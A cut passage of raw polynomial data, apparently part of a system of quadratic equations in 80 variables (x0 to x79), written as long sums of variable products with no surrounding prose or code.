+ x28*x36 + x28*x38 + x28*x43 + x28*x44 + x28*x47 + x28*x50 + x28*x51 + x28*x52 + x28*x58 + x28*x61 + x28*x63 + x28*x64 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x74 + x28*x75 + x28*x77 + x28*x79 + x28 + x29*x30 + x29*x31 + x29*x33 + x29*x36 + x29*x39 + x29*x40 + x29*x42 + x29*x44 + x29*x45 + x29*x50 + x29*x51 + x29*x52 + x29*x54 + x29*x55 + x29*x59 + x29*x60 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x69 + x29*x71 + x29*x76 + x29*x78 + x30*x32 + x30*x33 + x30*x35 + x30*x40 + x30*x41 + x30*x44 + x30*x45 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x52 + x30*x57 + x30*x59 + x30*x62 + x30*x64 + x30*x67 + x30*x68 + x30*x70 + x30*x71 + x30*x72 + x30*x74 + x30*x75 + x31*x32 + x31*x34 + x31*x36 + x31*x41 + x31*x42 + x31*x43 + x31*x45 + x31*x47 + x31*x48 + x31*x49 + x31*x50 + x31*x51 + x31*x56 + x31*x57 + x31*x60 + x31*x62 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x70 + x31*x71 + x31*x73 + x31*x74 + x31*x76 + x31 + x32*x33 + x32*x35 + x32*x37 + x32*x40 + x32*x41 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x67 + x32*x68 + x32*x73 + x32*x76 + x32*x77 + x32*x78 + x32*x79 + x33*x35 + x33*x37 + x33*x39 + x33*x41 + x33*x43 + x33*x45 + x33*x47 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x54 + x33*x55 + x33*x56 + x33*x58 + x33*x59 + x33*x60 + x33*x61 + x33*x63 + x33*x66 + x33*x67 + x33*x68 + x33*x69 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x35 + x34*x37 + x34*x39 + x34*x41 + x34*x42 + x34*x43 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x57 + x34*x58 + x34*x60 + x34*x61 + x34*x64 + x34*x68 + x34*x71 + x34*x77 + x34*x78 + x35*x36 + x35*x37 + x35*x39 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x50 + x35*x51 + x35*x52 + x35*x61 + x35*x62 + x35*x63 + x35*x66 + x35*x68 + x35*x71 + x35*x72 + x35*x75 + x35*x76 + x35*x77 + x36*x37 + x36*x38 + x36*x40 + x36*x41 + x36*x43 + x36*x44 + x36*x46 + x36*x47 + x36*x53 + x36*x54 + x36*x55 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x63 + x36*x66 + x36*x71 + x36*x72 + x36*x74 + x36*x77 + x36*x79 + x37*x39 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x54 + x37*x56 + x37*x57 + x37*x62 + x37*x65 + x37*x66 + x37*x68 + x37*x69 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x76 + x37*x77 + x37 + x38*x39 + x38*x40 + x38*x42 + x38*x43 + x38*x44 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x54 + x38*x55 + x38*x56 + x38*x59 + x38*x60 + x38*x62 + x38*x63 + x38*x64 + x38*x67 + x38*x68 + x38*x71 + x38*x73 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x43 + x39*x44 + x39*x45 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x50 + x39*x54 + x39*x55 + x39*x57 + x39*x58 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x66 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x79 + x40*x42 + x40*x46 + x40*x49 + x40*x50 + x40*x51 + x40*x55 + x40*x58 + x40*x59 + x40*x61 + x40*x62 + x40*x63 + x40*x65 + x40*x66 + x40*x70 + x40*x71 + x40*x74 + x40*x76 + x40 + x41*x42 + x41*x43 + x41*x44 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x55 + x41*x57 + x41*x60 + x41*x66 + x41*x67 + x41*x69 + x41*x70 + x41*x72 + x41*x73 + x41*x79 + x42*x44 + x42*x45 + x42*x53 + x42*x54 + x42*x56 + x42*x58 + x42*x59 + x42*x63 + x42*x66 + x42*x70 + x42*x72 + x42*x74 + x42*x75 + x42*x76 + x42*x78 + x42 + x43*x44 + x43*x49 + x43*x50 + x43*x51 + x43*x56 + x43*x57 + x43*x60 + x43*x62 + x43*x63 + x43*x64 + x43*x67 + x43*x68 + x43*x70 + x43*x72 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x52 + x44*x55 + x44*x56 + x44*x57 + x44*x61 + x44*x62 + x44*x66 + x44*x67 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x79 + x45*x46 + x45*x48 + x45*x50 + x45*x51 + x45*x54 + x45*x55 + x45*x57 + x45*x59 + x45*x61 + x45*x63 + x45*x70 + x45*x74 + x45*x75 + x45*x77 + x45*x79 + x45 + x46*x47 + x46*x48 + x46*x52 + x46*x54 + x46*x55 + x46*x56 + x46*x61 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x76 + x46*x77 + x46*x78 + x46*x79 + x46 + x47*x48 + x47*x53 + x47*x54 + x47*x55 + x47*x56 + x47*x58 + x47*x59 + x47*x60 + x47*x64 + x47*x65 + x47*x67 + x47*x69 + x47*x70 + x47*x71 + x47*x72 + x47*x75 + x47*x77 + x47*x79 + x48*x49 + x48*x50 + x48*x54 + x48*x56 + x48*x57 + x48*x62 + x48*x63 + x48*x64 + x48*x66 + x48*x68 + x48*x70 + x48*x72 + x48*x77 + x49*x51 + x49*x53 + x49*x54 + x49*x55 + x49*x60 + x49*x63 + x49*x64 + x49*x66 + x49*x67 + x49*x70 + x49*x79 + x50*x52 + x50*x55 + x50*x58 + x50*x59 + x50*x60 + x50*x65 + x50*x69 + x50*x71 + x50*x72 + x50*x75 + x50*x76 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x54 + x51*x57 + x51*x59 + x51*x60 + x51*x62 + x51*x63 + x51*x65 + x51*x68 + x51*x71 + x51*x74 + x51*x76 + x51*x78 + x51 + x52*x54 + x52*x55 + x52*x56 + x52*x57 + x52*x58 + x52*x59 + x52*x61 + x52*x62 + x52*x63 + x52*x68 + x52*x71 + x52*x76 + x52*x78 + x53*x55 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x69 + x53*x71 + x53*x74 + x53*x76 + x53*x77 + x54*x59 + x54*x61 + x54*x62 + x54*x63 + x54*x65 + x54*x66 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x77 + x54*x78 + x54*x79 + x55*x56 + x55*x60 + x55*x61 + x55*x64 + x55*x65 + x55*x66 + x55*x67 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x56*x58 + x56*x59 + x56*x60 + x56*x62 + x56*x63 + x56*x64 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x72 + x56*x73 + x56*x79 + x57*x58 + x57*x60 + x57*x62 + x57*x63 + x57*x65 + x57*x66 + x57*x69 + x57*x71 + x57*x72 + x57*x74 + x57*x77 + x57*x79 + x58*x59 + x58*x64 + x58*x66 + x58*x67 + x58*x68 + x58*x72 + x58*x73 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x58 + x59*x61 + x59*x62 + x59*x63 + x59*x66 + x59*x68 + x59*x71 + x59*x72 + x59*x73 + x59*x75 + x59*x77 + x59*x78 + x59 + x60*x64 + x60*x66 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x77 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x65 + x61*x66 + x61*x68 + x61*x70 + x61*x72 + x61*x73 + x61*x74 + x61*x76 + x61*x77 + x62*x64 + x62*x65 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x75 + x62*x76 + x62*x79 + x63*x64 + x63*x66 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x76 + x63*x77 + x63*x78 + x63*x79 + x63 + x64*x65 + x64*x69 + x64*x70 + x64*x71 + x64*x77 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x74 + x65*x75 + x65*x76 + x65*x77 + x66*x68 + x66*x69 + x66*x70 + x66*x74 + x66*x76 + x66*x77 + x66*x78 + x67*x68 + x67*x69 + x67*x72 + x67*x73 + x67*x74 + x67*x77 + x67*x78 + x68*x69 + x68*x73 + x68*x74 + x68*x76 + x68*x79 + x68 + x69*x74 + x69*x75 + x69*x77 + x70*x71 + x70*x72 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x70 + x71*x73 + x71*x75 + x71*x79 + x71 + x72*x75 + x72*x77 + x73*x74 + x73*x75 + x73*x78 + x73 + x74*x76 + x74*x77 + x74*x78 + x74*x79 + x74 + x75*x77 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x78*x79 + x78 + x79, x0*x3 + x0*x4 + x0*x5 + x0*x7 + x0*x8 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x15 + x0*x18 + x0*x19 + x0*x20 + x0*x22 + x0*x23 + x0*x29 + x0*x37 + x0*x42 + x0*x43 + x0*x47 + x0*x48 + x0*x50 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x63 + x0*x64 + x0*x72 + x0*x76 + x0*x77 + x0*x79 + x1*x2 + x1*x3 + x1*x6 + x1*x7 + x1*x9 + x1*x12 + x1*x14 + x1*x15 + x1*x18 + x1*x20 + x1*x21 + x1*x23 + x1*x24 + x1*x25 + x1*x28 + x1*x29 + x1*x30 + x1*x32 + x1*x33 + x1*x34 + x1*x36 + x1*x39 + x1*x40 + x1*x43 + x1*x46 + x1*x50 + x1*x52 + x1*x54 + x1*x55 + x1*x59 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x70 + x1*x73 + x1*x74 + x1*x77 + x1*x78 + x1*x79 + x1 + x2*x6 + x2*x8 + x2*x10 + x2*x12 + x2*x16 + x2*x17 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x26 + x2*x27 + x2*x32 + x2*x35 + x2*x37 + x2*x38 + x2*x39 + x2*x41 + x2*x44 + x2*x46 + x2*x47 + x2*x48 + x2*x49 + x2*x55 + x2*x56 + x2*x58 + x2*x59 + x2*x61 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x69 + x2*x70 + x2*x72 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x4 + x3*x7 + x3*x8 + x3*x9 + x3*x11 + x3*x15 + x3*x16 + x3*x18 + x3*x21 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x32 + x3*x34 + x3*x36 + x3*x37 + x3*x40 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x56 + x3*x58 + x3*x61 + x3*x65 + x3*x66 + x3*x68 + x3*x69 + x3*x70 + x3*x73 + x3*x75 + x3*x76 + x3 + x4*x7 + x4*x8 + x4*x9 + x4*x12 + x4*x13 + x4*x15 + x4*x19 + x4*x23 + x4*x24 + x4*x29 + x4*x31 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x39 + x4*x41 + x4*x47 + x4*x51 + x4*x52 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x66 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4*x79 + x4 + x5*x6 + x5*x7 + x5*x9 + x5*x12 + x5*x15 + x5*x17 + x5*x18 + x5*x19 + x5*x20 + x5*x22 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x32 + x5*x35 + x5*x39 + x5*x42 + x5*x43 + x5*x44 + x5*x47 + x5*x53 + x5*x54 + x5*x56 + x5*x58 + x5*x59 + x5*x61 + x5*x64 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x73 + x5*x76 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x14 + x6*x16 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x27 + x6*x29 + x6*x31 + x6*x32 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x43 + x6*x46 + x6*x47 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x56 + x6*x57 + x6*x60 + x6*x62 + x6*x63 + x6*x64 + x6*x65 + x6*x67 + x6*x68 + x6*x69 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x7*x9 + x7*x11 + x7*x12 + x7*x14 + x7*x15 + x7*x21 + x7*x22 + x7*x25 + x7*x28 + x7*x29 + x7*x30 + x7*x32 + x7*x37 + x7*x38 + x7*x41 + x7*x44 + x7*x47 + x7*x48 + x7*x50 + x7*x52 + x7*x57 + x7*x58 + x7*x59 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x66 + x7*x68 + x7*x70 + x7*x72 + x7*x73 + x7*x76 + x7*x79 + x7 + x8*x9 + x8*x13 + x8*x14 + x8*x17 + x8*x19 + x8*x20 + x8*x21 + x8*x23 + x8*x25 + x8*x27 + x8*x29 + x8*x32 + x8*x33 + x8*x35 + x8*x36 + x8*x38 + x8*x41 + x8*x43 + x8*x47 + x8*x50 + x8*x53 + x8*x54 + x8*x55 + x8*x57 + x8*x59 + x8*x60 + x8*x63 + x8*x64 + x8*x66 + x8*x68 + x8*x69 + x8*x71 + x8*x73 + x8*x75 + x8*x77 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x18 + x9*x19 + x9*x20 + x9*x22 + x9*x26 + x9*x28 + x9*x29 + x9*x30 + x9*x31 + x9*x33 + x9*x34 + x9*x37 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x53 + x9*x55 + x9*x56 + x9*x63 + x9*x66 + x9*x70 + x9*x72 + x9*x73 + x9*x77 + x9*x79 + x10*x11 + x10*x12 + x10*x15 + x10*x16 + x10*x17 + x10*x20 + x10*x21 + x10*x27 + x10*x28 + x10*x34 + x10*x37 + x10*x38 + x10*x40 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x51 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x58 + x10*x59 + x10*x60 + x10*x63 + x10*x64 + x10*x67 + x10*x72 + x10*x73 + x10*x74 + x10*x76 + x10*x78 + x10 + x11*x13 + x11*x15 + x11*x16 + x11*x17 + x11*x18 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x29 + x11*x30 + x11*x31 + x11*x34 + x11*x35 + x11*x37 + x11*x38 + x11*x40 + x11*x41 + x11*x43 + x11*x45 + x11*x46 + x11*x49 + x11*x50 + x11*x52 + x11*x55 + x11*x58 + x11*x59 + x11*x62 + x11*x64 + x11*x65 + x11*x67 + x11*x69 + x11*x71 + x11*x72 + x11*x75 + x11*x79 + x12*x13 + x12*x15 + x12*x22 + x12*x25 + x12*x27 + x12*x28 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x43 + x12*x45 + x12*x47 + x12*x48 + x12*x50 + x12*x56 + x12*x57 + x12*x59 + x12*x62 + x12*x65 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x13*x15 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x25 + x13*x27 + x13*x30 + x13*x31 + x13*x33 + x13*x36 + x13*x40 + x13*x41 + x13*x42 + x13*x44 + x13*x45 + x13*x46 + x13*x49 + x13*x51 + x13*x52 + x13*x53 + x13*x54 + x13*x58 + x13*x59 + x13*x64 + x13*x67 + x13*x69 + x13*x71 + x13*x72 + x13*x75 + x13*x77 + x13*x79 + x14*x15 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x26 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x32 + x14*x34 + x14*x37 + x14*x38 + x14*x40 + x14*x42 + x14*x45 + x14*x50 + x14*x51 + x14*x54 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x67 + x14*x68 + x14*x69 + x14*x70 + x14*x71 + x14*x76 + x14*x78 + x14*x79 + x15*x16 + x15*x17 + x15*x19 + x15*x20 + x15*x23 + x15*x24 + x15*x27 + x15*x30 + x15*x34 + x15*x36 + x15*x38 + x15*x40 + x15*x41 + x15*x45 + x15*x46 + x15*x47 + x15*x48 + x15*x49 + x15*x51 + x15*x54 + x15*x56 + x15*x58 + x15*x59 + x15*x60 + x15*x63 + x15*x64 + x15*x69 + x15*x70 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x15 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x23 + x16*x25 + x16*x26 + x16*x27 + x16*x28 + x16*x30 + x16*x32 + x16*x33 + x16*x37 + x16*x38 + x16*x39 + x16*x41 + x16*x42 + x16*x46 + x16*x49 + x16*x51 + x16*x52 + x16*x54 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x63 + x16*x65 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x71 + x16*x73 + x16*x76 + x17*x18 + x17*x20 + x17*x21 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x29 + x17*x30 + x17*x31 + x17*x32 + x17*x35 + x17*x37 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x45 + x17*x46 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x62 + x17*x63 + x17*x65 + x17*x68 + x17*x71 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x17*x78 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x21 + x18*x23 + x18*x25 + x18*x28 + x18*x30 + x18*x31 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x38 + x18*x40 + x18*x42 + x18*x43 + x18*x44 + x18*x46 + x18*x47 + x18*x55 + x18*x56 + x18*x57 + x18*x59 + x18*x61 + x18*x62 + x18*x64 + x18*x66 + x18*x67 + x18*x68 + x18*x70 + x18*x71 + x18*x72 + x18*x76 + x18*x79 + x19*x24 + x19*x28 + x19*x29 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x42 + x19*x45 + x19*x47 + x19*x48 + x19*x49 + x19*x57 + x19*x58 + x19*x59 + x19*x61 + x19*x64 + x19*x65 + x19*x68 + x19*x69 + x19*x71 + x19*x72 + x19*x75 + x19*x76 + x19*x77 + x20*x22 + x20*x24 + x20*x25 + x20*x28 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x38 + x20*x41 + x20*x42 + x20*x43 + x20*x45 + x20*x46 + x20*x47 + x20*x53 + x20*x55 + x20*x56 + x20*x58 + x20*x59 + x20*x60 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x20 + x21*x23 + x21*x24 + x21*x27 + x21*x28 + x21*x29 + x21*x31 + x21*x32 + x21*x33 + x21*x34 + x21*x36 + x21*x37 + x21*x42 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x58 + x21*x60 + x21*x63 + x21*x65 + x21*x66 + x21*x69 + x21*x70 + x21*x72 + x21*x73 + x22*x23 + x22*x26 + x22*x28 + x22*x31 + x22*x33 + x22*x35 + x22*x36 + x22*x39 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x51 + x22*x55 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x60 + x22*x61 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x70 + x22*x72 + x22*x73 + x22*x74 + x22*x76 + x22*x79 + x23*x24 + x23*x26 + x23*x27 + x23*x30 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x41 + x23*x42 + x23*x46 + x23*x50 + x23*x55 + x23*x56 + x23*x58 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x67 + x23*x73 + x23*x76 + x23*x77 + x24*x26 + x24*x29 + x24*x32 + x24*x33 + x24*x35 + x24*x37 + x24*x39 + x24*x42 + x24*x43 + x24*x45 + x24*x47 + x24*x48 + x24*x49 + x24*x51 + x24*x55 + x24*x58 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x71 + x24*x73 + x24*x74 + x24*x78 + x25*x26 + x25*x27 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x39 + x25*x44 + x25*x46 + x25*x48 + x25*x49 + x25*x50 + x25*x51 + x25*x54 + x25*x65 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x34 + x26*x36 + x26*x37 + x26*x39 + x26*x40 + x26*x41 + x26*x45 + x26*x48 + x26*x49 + x26*x50 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x58 + x26*x63 + x26*x64 + x26*x66 + x26*x68 + x26*x69 + x26*x72 + x26*x73 + x26*x75 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x26 + x27*x30 + x27*x31 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x53 + x27*x55 + x27*x59 + x27*x60 + x27*x61 + x27*x62 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x71 + x27*x73 + x27*x79 + x28*x30 + x28*x31 + x28*x32 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x39 + x28*x40 + x28*x41 + x28*x43 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x51 + x28*x52 + x28*x53 + x28*x56 + x28*x57 + x28*x59 + x28*x63 + x28*x64 + x28*x65 + x28*x70 + x28*x72 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x28*x79 + x29*x32 + x29*x35 + x29*x36 + x29*x38 + x29*x39 + x29*x46 + x29*x47 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x63 + x29*x71 + x29*x72 + x29*x73 + x29 + x30*x33 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x43 + x30*x45 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x64 + x30*x65 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x77 + x30 + x31*x33 + x31*x34 + x31*x36 + x31*x38 + x31*x39 + x31*x40 + x31*x42 + x31*x44 + x31*x45 + x31*x46 + x31*x48 + x31*x49 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x57 + x31*x60 + x31*x63 + x31*x64 + x31*x67 + x31*x71 + x31*x72 + x31*x74 + x32*x33 + x32*x34 + x32*x37 + x32*x39 + x32*x41 + x32*x42 + x32*x43 + x32*x45 + x32*x46 + x32*x47 + x32*x48 + x32*x49 + x32*x51 + x32*x52 + x32*x58 + x32*x59 + x32*x60 + x32*x62 + x32*x63 + x32*x66 + x32*x67 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x75 + x32*x77 + x32*x78 + x32*x79 + x32 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x49 + x33*x51 + x33*x61 + x33*x62 + x33*x63 + x33*x65 + x33*x67 + x33*x73 + x33*x74 + x33*x76 + x33*x79 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x45 + x34*x47 + x34*x48 + x34*x50 + x34*x52 + x34*x55 + x34*x56 + x34*x57 + x34*x60 + x34*x61 + x34*x64 + x34*x66 + x34*x67 + x34*x70 + x34*x72 + x34*x74 + x34*x75 + x34*x76 + x34*x78 + x34*x79 + x35*x36 + x35*x37 + x35*x38 + x35*x39 + x35*x44 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x58 + x35*x59 + x35*x61 + x35*x62 + x35*x63 + x35*x64 + x35*x66 + x35*x69 + x35*x72 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x39 + x36*x41 + x36*x48 + x36*x51 + x36*x53 + x36*x54 + x36*x55 + x36*x57 + x36*x60 + x36*x61 + x36*x65 + x36*x67 + x36*x69 + x36*x71 + x36*x72 + x36*x75 + x36*x79 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x43 + x37*x45 + x37*x46 + x37*x50 + x37*x52 + x37*x54 + x37*x59 + x37*x60 + x37*x61 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x71 + x37*x74 + x37*x75 + x37*x77 + x38*x39 + x38*x40 + x38*x43 + x38*x45 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x59 + x38*x61 + x38*x64 + x38*x66 + x38*x68 + x38*x69 + x38*x70 + x38*x71 + x38*x73 + x38*x75 + x38*x78 + x38*x79 + x39*x40 + x39*x41 + x39*x47 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x59 + x39*x64 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x72 + x39*x73 + x39*x75 + x39 + x40*x41 + x40*x51 + x40*x53 + x40*x54 + x40*x56 + x40*x58 + x40*x59 + x40*x63 + x40*x66 + x40*x67 + x40*x68 + x40*x70 + x40*x72 + x40*x73 + x40*x74 + x40*x79 + x40 + x41*x43 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x63 + x41*x64 + x41*x66 + x41*x68 + x41*x70 + x41*x71 + x41*x72 + x41*x76 + x41*x78 + x41*x79 + x42*x43 + x42*x44 + x42*x50 + x42*x51 + x42*x52 + x42*x54 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x62 + x42*x63 + x42*x64 + x42*x66 + x42*x69 + x42*x73 + x42*x74 + x42*x77 + x42*x78 + x42 + x43*x46 + x43*x48 + x43*x50 + x43*x51 + x43*x54 + x43*x55 + x43*x56 + x43*x59 + x43*x62 + x43*x64 + x43*x66 + x43*x69 + x43*x70 + x43*x71 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43*x78 + x43 + x44*x45 + x44*x48 + x44*x50 + x44*x52 + x44*x53 + x44*x54 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x63 + x44*x64 + x44*x65 + x44*x66 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x75 + x44*x77 + x44*x79 + x44 + x45*x47 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x57 + x45*x59 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x65 + x45*x70 + x45*x72 + x45*x73 + x45*x75 + x45*x77 + x45 + x46*x47 + x46*x48 + x46*x56 + x46*x58 + x46*x59 + x46*x60 + x46*x61 + x46*x63 + x46*x65 + x46*x68 + x46*x70 + x46*x71 + x46*x72 + x46*x76 + x46*x77 + x46*x78 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x55 + x47*x56 + x47*x58 + x47*x59 + x47*x61 + x47*x63 + x47*x64 + x47*x66 + x47*x67 + x47*x69 + x47*x71 + x47*x74 + x47*x75 + x47*x77 + x47*x78 + x48*x53 + x48*x55 + x48*x57 + x48*x59 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x69 + x48*x70 + x48*x71 + x48*x74 + x48*x76 + x48*x79 + x48 + x49*x51 + x49*x54 + x49*x55 + x49*x58 + x49*x60 + x49*x62 + x49*x63 + x49*x64 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x74 + x49*x76 + x49*x77 + x49*x79 + x50*x53 + x50*x55 + x50*x56 + x50*x57 + x50*x62 + x50*x63 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x71 + x50*x75 + x51*x53 + x51*x56 + x51*x59 + x51*x60 + x51*x64 + x51*x65 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x78 + x51 + x52*x53 + x52*x55 + x52*x57 + x52*x58 + x52*x59 + x52*x60 + x52*x68 + x52*x70 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x77 + x53*x54 + x53*x55 + x53*x57 + x53*x59 + x53*x60 + x53*x67 + x53*x72 + x53*x73 + x53*x75 + x53*x76 + x53*x77 + x54*x55 + x54*x58 + x54*x59 + x54*x61 + x54*x63 + x54*x67 + x54*x69 + x54*x76 + x55*x57 + x55*x58 + x55*x61 + x55*x66 + x55*x67 + x55*x69 + 